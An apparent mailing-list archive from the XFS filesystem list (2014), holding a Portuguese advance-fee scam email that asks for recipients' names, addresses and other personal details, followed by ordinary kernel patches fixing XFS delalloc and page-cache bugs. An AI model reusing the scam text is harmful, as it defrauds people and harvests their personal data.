1 a m=E3e do beb=EA.
2 vi=FAvas.=
3 desativar pessoas.
4 para promover a palavra de Deus l=E1 no seu p= a=EDs.

20 % do fundo =E9 para voc=EA e sua fam=EDlia, se voc=EA vai aceitar a fazer tr= abalho humanit=E1rio Deus. Eu prometo que n=E3o ir=E1 decepcionar quando ce= fond ser transferido para sua conta banc=E1ria l=E1 em seu pa=EDs, e voc=EA= tamb=E9m me garantiu que voc=EA usa 80 % do dinheiro para os fins referido= s, porque eu vim a descobrir que a aquisi=E7=E3o de riqueza sem Cristo =E9 = vaidade.

Responder -me urgentemente se voc=EA estiver interessado ne= sta opera=E7=E3o, pois qualquer atraso na sua resposta vai me dar espa=E7o = para procurar outra pessoa de confian=E7a para a mesma finalidade, na esper= an=E7a de ouvir de voc=EA.

Que a gra=E7a de Jesus nosso Senhor Deus = ea comunh=E3o de Deus esteja com voc=EA e sua fam=EDlia.

Por favor, = envie esta informa=E7=E3o.

1) Envie-me seus nomes dialetos comp.
= 2) me envie sua resid=EAncia atual.
3) O seu pa=EDs de origem.
4) Ocu= pa=E7=E3o.
5) Idade.

Obrigado e que Deus aben=E7oe.
Sua irm=E3= amorosa em Cristo,
Sra. Monica Moyo.
---2017372846-1670561608-1395390329=:57326-- From joy2andrade@yahoo.co.jp Fri Mar 21 03:29:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.3 required=5.0 tests=DECEASED_NO_ML,DRUGS_MUSCLE, FREEMAIL_FROM,FREEMAIL_REPLYTO,HTML_MESSAGE,LOTS_OF_MONEY,MONEY_FROM_41, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14CF47F5E for ; Fri, 21 Mar 2014 03:29:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A02CBAC001 for ; Fri, 21 Mar 2014 01:29:31 -0700 (PDT) X-ASG-Debug-ID: 1395390569-04bdf05dab7935c0001-NocioJ Received: from web101515.mail.kks.yahoo.co.jp (web101515.mail.kks.yahoo.co.jp [183.79.150.74]) by cuda.sgi.com with SMTP id 2nPq6870AoU14VzB for ; Fri, 21 Mar 2014 01:29:29 -0700 (PDT) X-Barracuda-Envelope-From: joy2andrade@yahoo.co.jp X-Barracuda-Apparent-Source-IP: 183.79.150.74 Received: (qmail 9978 invoked by uid 60001); 21 Mar 2014 08:29:27 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.co.jp; s=yj20110701; t=1395390566; bh=DF5MWNJoqvUmlFrJ12HzRdXWMM3enbAAs2IrBJ/7cRw=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=Guar41JjUnHnvfC/CLZC1OAQ37IpNwaAoIKuHY/Ipve3l3j1Vmk8JZqbtuW+jHav+YkpV4iJ2e041iqGu2SrvWGUnNYchzPVuLDpaD/lLEYtY41TzcWrP3s0hBukEqbnUFYvfkxeZlSYQ8IG4FjjG/ygPeALQHCRhANJWvRoj4M= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=yj20110701; d=yahoo.co.jp; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=MqViQq08X7JGUeysur6zUMuvpUByt+LmUQ+DmPqYa8kaONNJpxkOMx0AtwKcKCiAFOSC+KPS14yQwkv97fGPSPaRXxBIUZA2lcoJTyk2eUsFmiXDxhxI7aIc3t6aJ2ausMzBaqrbN5aLVEmTPY56RWkNyBwWmzf3UZu0Qo34AQw=; Message-ID: <931341.6552.qm@web101515.mail.kks.yahoo.co.jp> X-YMail-OSG: WXsz.w8VM1mHyK3zw08pb7wOh5OfECC4y4aphDu6QUaqMMNk_JzWgNhHQgzYfEDzkM67Ufpn4xCvDiI_uHrcCDj.p8Vtm.i1CUNmv2VhN5Vy0.IojjTpsPOVW1OZCJRhYbHdLJCwS7rbx9qqYGu6TImCooMRB5Y6BKhFA70KPN1TI5kLjdJe3zKLWt9Vl_fJZKWo6L9VJifXOSnKfG.e26xE8sPbs8rpKFlM8WAaMpQaBThuP3wS4CoNgkPATE34_oIgh2W8cfrWcjyUXKBissXxSNoGheSNqik.vvfxowZpveJRDlsB4I2j._ufyVPkbF.3.foRyTHSQJtsyAOtnoNgoKnWfKGXz11zBMERL0aNc1qFH5rFhmVvpbZ6Q3C34Ywzhxw2xCU2LQIa2MuVp2fGRxO3QRBMZlCS_Il0QY.rFvvIlvQM_esu7Qdn.pHEygZCWorcjJJsUhMXbFvQNzEKKCtJYUHwKt6SulgnMykSm0rhtCLMFfzYpstSIHihPnCTnVdnnwzuQl1sTaTAC0qO64lyYH_eoYbkOsvBOkPu5VMnV4l3sWmblF4N8IEo52dmdwIzJUncxd_lEy.Nyo4Jcjb6qXlZTelM6IU- Received: from [41.207.204.95] by web101515.mail.kks.yahoo.co.jp via HTTP; Fri, 21 Mar 2014 17:29:26 JST X-Mailer: YahooMailWebService/0.8.111_52 Date: Fri, 21 Mar 2014 17:29:26 +0900 (JST) From: MONICA MOYO Reply-To: MONICA MOYO Subject: Caro no Senhor, To: undisclosed recipients: ; X-ASG-Orig-Subj: Caro no Senhor, MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="197280793-704177348-1395390566=:6552" X-Barracuda-Connect: web101515.mail.kks.yahoo.co.jp[183.79.150.74] X-Barracuda-Start-Time: 1395390569 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -0.10 X-Barracuda-Spam-Status: No, SCORE=-0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, DRUGS_MUSCLE, HTML_MESSAGE, VALIDYAHOOJP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4118 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message -0.10 VALIDYAHOOJP This mail is valid yahoo.co.jp mail. 0.00 DRUGS_MUSCLE Refers to a muscle relaxant --197280793-704177348-1395390566=:6552 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable De: Sra. Monica Moyo,=0ALote 104 Jacques Avenue,=0A01 bp Cocodi 3691,=0AAbi= djan - Cote d 'Ivoire.=0A=0ACaro no Senhor,=0A=0ASauda=E7=F5es em nome de n= osso Senhor Jesus Cristo. Eu sou deputada Monica Moyo, Bahrain, a vi=FAva d= o falecido Steven Moyo. Eu tenho 51 anos de idade, aconveted crist=E3o nasc= ido de novo, que sofrem de c=E2ncer de mama, a longo prazo, todas as indica= =E7=F5es a minha condi=E7=E3o =E9 realmente deteriorando e =E9 bastante =F3= bvio que ele n=E3o poderia viver mais de duas semanas, de acordo com o meu = m=E9dico, porque o est=E1gio do c=E2ncer alcan=E7ou o pior / perigoso.=0A= =0AMeu falecido marido e meu =FAnico filho morreu antes que os =FAltimos tr= =EAs anos, sua morte foi politicamente motivado. Meu falecido marido era bi= oveoma rico e rico homem de neg=F3cios que conduziu a sua planta=E7=E3o de = cacau neg=F3cio / Madeira na Costa do Marfim. Depois de sua morte, comecei = a gerenciar todo o seu neg=F3cio e riqueza. Meu falecido marido deposiited = EUA 2.500 mil d=F3lares americanos d=F3lares em financiamento =E9 um dos gr= andes bancos neste pa=EDs Cote d ' iviore, ele queria usar os fundos para e= xpandir suas opera=E7=F5es plantar cocao / Tiber em outros pa=EDses african= os antes de sua morte repentina.=0A=0AEste fundo ainda est=E1 no banco hoje= , agora meu m=E9dico me aconselhou que eu n=E3o posso viver mais de duas se= manas devido a doen=E7a, eu decidi doar a soma de EUA $ 2,5 000,000.00. no = trabalho humanit=E1rio de Deus, porque eu n=E3o posso levar esse dinheiro p= ara o t=FAmulo.=0A=0AEu sinceramente pedir a sua ajuda neste neg=F3cio Deus= huamnitarian. Eu quero transferir o fundo para sua conta banc=E1ria, de mo= do que voc=EA vai usar 80% do fundo para ajudar o pr=F3ximo ljudeu o seu pa= =EDs:=0A=0A1 a m=E3e do beb=EA.=0A2 vi=FAvas.=0A3 desativar pessoas.=0A4 pa= ra promover a palavra de Deus l=E1 no seu pa=EDs.=0A=0A20 % do fundo =E9 pa= ra voc=EA e sua fam=EDlia, se voc=EA vai aceitar a fazer trabalho humanit= =E1rio Deus. Eu prometo que n=E3o ir=E1 decepcionar quando cefond ser trans= ferido para sua conta banc=E1ria l=E1 em seu pa=EDs, e voc=EA tamb=E9m me g= arantiu que voc=EA usa 80 % do dinheiro para os fins referidos, porque eu v= im a descobrir que a aquisi=E7=E3o de riqueza sem Cristo =E9 vaidade.=0A=0A= Responder -me urgentemente se voc=EA estiver interessado nesta opera=E7=E3o= , pois qualquer atraso na sua resposta vai me dar espa=E7o para procurar ou= tra pessoa de confian=E7a para a mesma finalidade, na esperan=E7a de ouvir = de voc=EA.=0A=0AQue a gra=E7a de Jesus nosso Senhor Deus ea comunh=E3o de D= eus esteja com voc=EA e sua fam=EDlia.=0A=0APor favor, envie esta informa= =E7=E3o.=0A=0A1) Envie-me seus nomes dialetos comp.=0A2) me envie sua resid= =EAncia atual.=0A3) O seu pa=EDs de origem.=0A4) Ocupa=E7=E3o.=0A5) Idade.= =0A=0AObrigado e que Deus aben=E7oe.=0ASua irm=E3 amorosa em Cristo,=0ASra.= Monica Moyo.=0A --197280793-704177348-1395390566=:6552 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
De: Sra. Monica Moyo,
Lote 104 Jacques= Avenue,
01 bp Cocodi 3691,
Abidjan - Cote d 'Ivoire.

Caro no = Senhor,

Sauda=E7=F5es em nome de nosso Senhor Jesus Cristo. Eu sou d= eputada Monica Moyo, Bahrain, a vi=FAva do falecido Steven Moyo. Eu tenho 5= 1 anos de idade, aconveted crist=E3o nascido de novo, que sofrem de c=E2nce= r de mama, a longo prazo, todas as indica=E7=F5es a minha condi=E7=E3o =E9 = realmente deteriorando e =E9 bastante =F3bvio que ele n=E3o poderia viver m= ais de duas semanas, de acordo com o meu m=E9dico, porque o est=E1gio do c= =E2ncer alcan=E7ou o pior / perigoso.

Meu falecido marido e meu =FAn= ico filho morreu antes que os =FAltimos tr=EAs anos, sua morte foi politica= mente motivado. Meu falecido marido era bioveoma rico e rico homem de neg= =F3cios que conduziu a sua planta=E7=E3o de cacau neg=F3cio / Madeira na Co= sta do Marfim. Depois de sua morte, comecei a gerenciar todo o seu neg=F3cio e riqueza. Meu fale= cido marido deposiited EUA 2.500 mil d=F3lares americanos d=F3lares em fina= nciamento =E9 um dos grandes bancos neste pa=EDs Cote d ' iviore, ele queri= a usar os fundos para expandir suas opera=E7=F5es plantar cocao / Tiber em = outros pa=EDses africanos antes de sua morte repentina.

Este fundo a= inda est=E1 no banco hoje, agora meu m=E9dico me aconselhou que eu n=E3o po= sso viver mais de duas semanas devido a doen=E7a, eu decidi doar a soma de = EUA $ 2,5 000,000.00. no trabalho humanit=E1rio de Deus, porque eu n=E3o po= sso levar esse dinheiro para o t=FAmulo.

Eu sinceramente pedir a sua= ajuda neste neg=F3cio Deus huamnitarian. Eu quero transferir o fundo para = sua conta banc=E1ria, de modo que voc=EA vai usar 80% do fundo para ajudar = o pr=F3ximo ljudeu o seu pa=EDs:

1 a m=E3e do beb=EA.
2 vi=FAvas.=
3 desativar pessoas.
4 para promover a palavra de Deus l=E1 no seu p= a=EDs.

20 % do fundo =E9 para voc=EA e sua fam=EDlia, se voc=EA vai aceitar a fazer tr= abalho humanit=E1rio Deus. Eu prometo que n=E3o ir=E1 decepcionar quando ce= fond ser transferido para sua conta banc=E1ria l=E1 em seu pa=EDs, e voc=EA= tamb=E9m me garantiu que voc=EA usa 80 % do dinheiro para os fins referido= s, porque eu vim a descobrir que a aquisi=E7=E3o de riqueza sem Cristo =E9 = vaidade.

Responder -me urgentemente se voc=EA estiver interessado ne= sta opera=E7=E3o, pois qualquer atraso na sua resposta vai me dar espa=E7o = para procurar outra pessoa de confian=E7a para a mesma finalidade, na esper= an=E7a de ouvir de voc=EA.

Que a gra=E7a de Jesus nosso Senhor Deus = ea comunh=E3o de Deus esteja com voc=EA e sua fam=EDlia.

Por favor, = envie esta informa=E7=E3o.

1) Envie-me seus nomes dialetos comp.
= 2) me envie sua resid=EAncia atual.
3) O seu pa=EDs de origem.
4) Ocu= pa=E7=E3o.
5) Idade.

Obrigado e que Deus aben=E7oe.
Sua irm=E3= amorosa em Cristo,
Sra. Monica Moyo.
--197280793-704177348-1395390566=:6552-- From dave@fromorbit.com Fri Mar 21 05:12:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E23717F3F for ; Fri, 21 Mar 2014 05:12:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C043C8F8068 for ; Fri, 21 Mar 2014 03:12:53 -0700 (PDT) X-ASG-Debug-ID: 1395396771-04cbb054b8565ca0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id nAdQPE3W1GMnFLo6 for ; Fri, 21 Mar 2014 03:12:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtZUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7wrFwMBAQEBODWCJQEBBScvIxAIGDE5AwcUGYd40AKPB4QiBK47KQ Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Jd-Re; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-00019k-Qp; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 1/6] xfs: kill buffers over failed write ranges properly Date: Fri, 21 Mar 2014 21:11:45 +1100 X-ASG-Orig-Subj: [PATCH 1/6] xfs: kill buffers over failed write ranges properly Message-Id: <1395396710-3824-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396771 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When a write fails, if we don't clear the delalloc flags from the buffers over the failed range, they can persist beyond EOF and cause problems. writeback will see the pages int eh page cache, see they are dirty and continually retry the write, assuming that the page beyond EOF is just racing with a truncate. The page will eventually be released due to some other operation (e.g. direct IO), and it will not pass through invalidation because it is dirty. Hence it will be released with buffer_delay set on it, and trigger warnings in xfs_vm_releasepage() and assert fail in xfs_file_aio_write_direct because invalidation failed and we didn't write the corect amount. This causes failures on block size < page size filesystems in fsx and fsstress workloads run by xfstests. Fix it by completely trashing any state on the buffer that could be used to imply that it contains valid data when the delalloc range over the buffer is punched out during the failed write handling. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 98016b3..e810243 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1566,6 +1566,16 @@ xfs_vm_write_failed( xfs_vm_kill_delalloc_range(inode, block_offset, block_offset + bh->b_size); + + /* + * This buffer does not contain data anymore. make sure anyone + * who finds it knows that for certain. + */ + clear_buffer_delay(bh); + clear_buffer_uptodate(bh); + clear_buffer_mapped(bh); + clear_buffer_new(bh); + clear_buffer_dirty(bh); } } -- 1.9.0 From dave@fromorbit.com Fri Mar 21 05:12:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E9CA47F3F for ; Fri, 21 Mar 2014 05:12:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C76D3304051 for ; Fri, 21 Mar 2014 03:12:51 -0700 (PDT) X-ASG-Debug-ID: 1395396769-04cbb054b9565c90001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id krChu7duFPlScGqy for ; Fri, 21 Mar 2014 03:12:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtdUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7wrFwMBAQEBODWCJQEBBScvIxAIGBgZOQMHFBmHeNACjnsMhCIErjsp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Je-SA; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-00019p-RL; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 2/6] xfs: write failure beyond EOF truncates too much data Date: Fri, 21 Mar 2014 21:11:46 +1100 X-ASG-Orig-Subj: [PATCH 2/6] xfs: write failure beyond EOF truncates too much data Message-Id: <1395396710-3824-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396769 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner If we fail a write beyond EOF and have to handle it in xfs_vm_write_begin(), we truncate the inode back to the current inode size. This doesn't take into account the fact that we may have already made successful writes to the same page (in the case of block size < page size) and hence we can truncate the page cache away from blocks with valid data in them. If these blocks are delayed allocation blocks, we now have a mismatch between the page cache and the extent tree, and this will trigger - at minimum - a delayed block count mismatch assert when the inode is evicted from the cache. We can also trip over it when block mapping for direct IO - this is the most common symptom seen from fsx and fsstress when run from xfstests. Fix it by only truncating away the exact range we are updating state for in this write_begin call. Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e810243..6b4ecc8 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -1609,12 +1609,18 @@ xfs_vm_write_begin( status = __block_write_begin(page, pos, len, xfs_get_blocks); if (unlikely(status)) { struct inode *inode = mapping->host; + size_t isize = i_size_read(inode); xfs_vm_write_failed(inode, page, pos, len); unlock_page(page); - if (pos + len > i_size_read(inode)) - truncate_pagecache(inode, i_size_read(inode)); + /* + * If the write is beyond EOF, we only want to kill blocks + * allocated in this write, not blocks that were previously + * written successfully. + */ + if (pos + len > isize) + truncate_pagecache_range(inode, pos, pos + len); page_cache_release(page); page = NULL; -- 1.9.0 From dave@fromorbit.com Fri Mar 21 05:12:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F75C7F4E for ; Fri, 21 Mar 2014 05:12:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1B298304051 for ; Fri, 21 Mar 2014 03:12:54 -0700 (PDT) X-ASG-Debug-ID: 1395396769-04cbb054b9565c90003-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 16rCtE4ce2Zv6yij for ; Fri, 21 Mar 2014 03:12:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuJUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7sVgRYXAwEBAQE4NYIlAQEFJy8jEAgYMTkDBxQZh3jQAo4GWSiEIgSuOymBLA Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Jg-TB; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-00019z-SN; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 4/6] xfs: zeroing space needs to punch delalloc blocks Date: Fri, 21 Mar 2014 21:11:48 +1100 X-ASG-Orig-Subj: [PATCH 4/6] xfs: zeroing space needs to punch delalloc blocks Message-Id: <1395396710-3824-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396772 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4119 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we are zeroing space andit is covered by a delalloc range, we need to punch the delalloc range out before we truncate the page cache. Failing to do so leaves and inconsistency between the page cache and the extent tree, which we later trip over when doing direct IO over the same range. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap_util.c | 13 ++++++++++++- fs/xfs/xfs_trace.h | 1 + 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 01f6a64..3235b74 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1418,6 +1418,8 @@ xfs_zero_file_space( xfs_off_t end_boundary; int error; + trace_xfs_zero_file_space(ip); + granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); /* @@ -1432,9 +1434,18 @@ xfs_zero_file_space( ASSERT(end_boundary <= offset + len); if (start_boundary < end_boundary - 1) { - /* punch out the page cache over the conversion range */ + /* + * punch out delayed allocation blocks and the page cache over + * the conversion range + */ + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_bmap_punch_delalloc_range(ip, + XFS_B_TO_FSB(mp, start_boundary), + XFS_B_TO_FSB(mp, end_boundary - start_boundary)); + xfs_iunlock(ip, XFS_ILOCK_EXCL); truncate_pagecache_range(VFS_I(ip), start_boundary, end_boundary - 1); + /* convert the blocks */ error = xfs_alloc_file_space(ip, start_boundary, end_boundary - start_boundary - 1, diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index a4ae41c..65d8c79 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -603,6 +603,7 @@ DEFINE_INODE_EVENT(xfs_readlink); DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); +DEFINE_INODE_EVENT(xfs_zero_file_space); DEFINE_INODE_EVENT(xfs_collapse_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL -- 1.9.0 From dave@fromorbit.com Fri Mar 21 05:12:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A71D27F4E for ; Fri, 21 Mar 2014 05:12:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 87DF18F8068 for ; Fri, 21 Mar 2014 03:12:55 -0700 (PDT) X-ASG-Debug-ID: 1395396773-04cbb054b9565cb0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Fuysgd7q9eCqpPl5 for ; Fri, 21 Mar 2014 03:12:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtZUAG4QLFN5LMWSPGdsb2JhbABZgwaIU7wrFwMBAQEBODWCJQEBBScvIxAIGDE5AwcUGYd40AKOE3SEIgSuOymBLQ Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 21 Mar 2014 20:42:22 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WQwQy-0008Ji-U0; Fri, 21 Mar 2014 21:12:16 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WQwQy-0001A9-TE; Fri, 21 Mar 2014 21:12:16 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: Al@disappointment.disaster, Viro@disappointment.disaster, Subject: [PATCH 6/6] xfs: don't map ranges that span EOF for direct IO Date: Fri, 21 Mar 2014 21:11:50 +1100 X-ASG-Orig-Subj: [PATCH 6/6] xfs: don't map ranges that span EOF for direct IO Message-Id: <1395396710-3824-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1395396710-3824-1-git-send-email-david@fromorbit.com> References: <1395396710-3824-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395396773 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 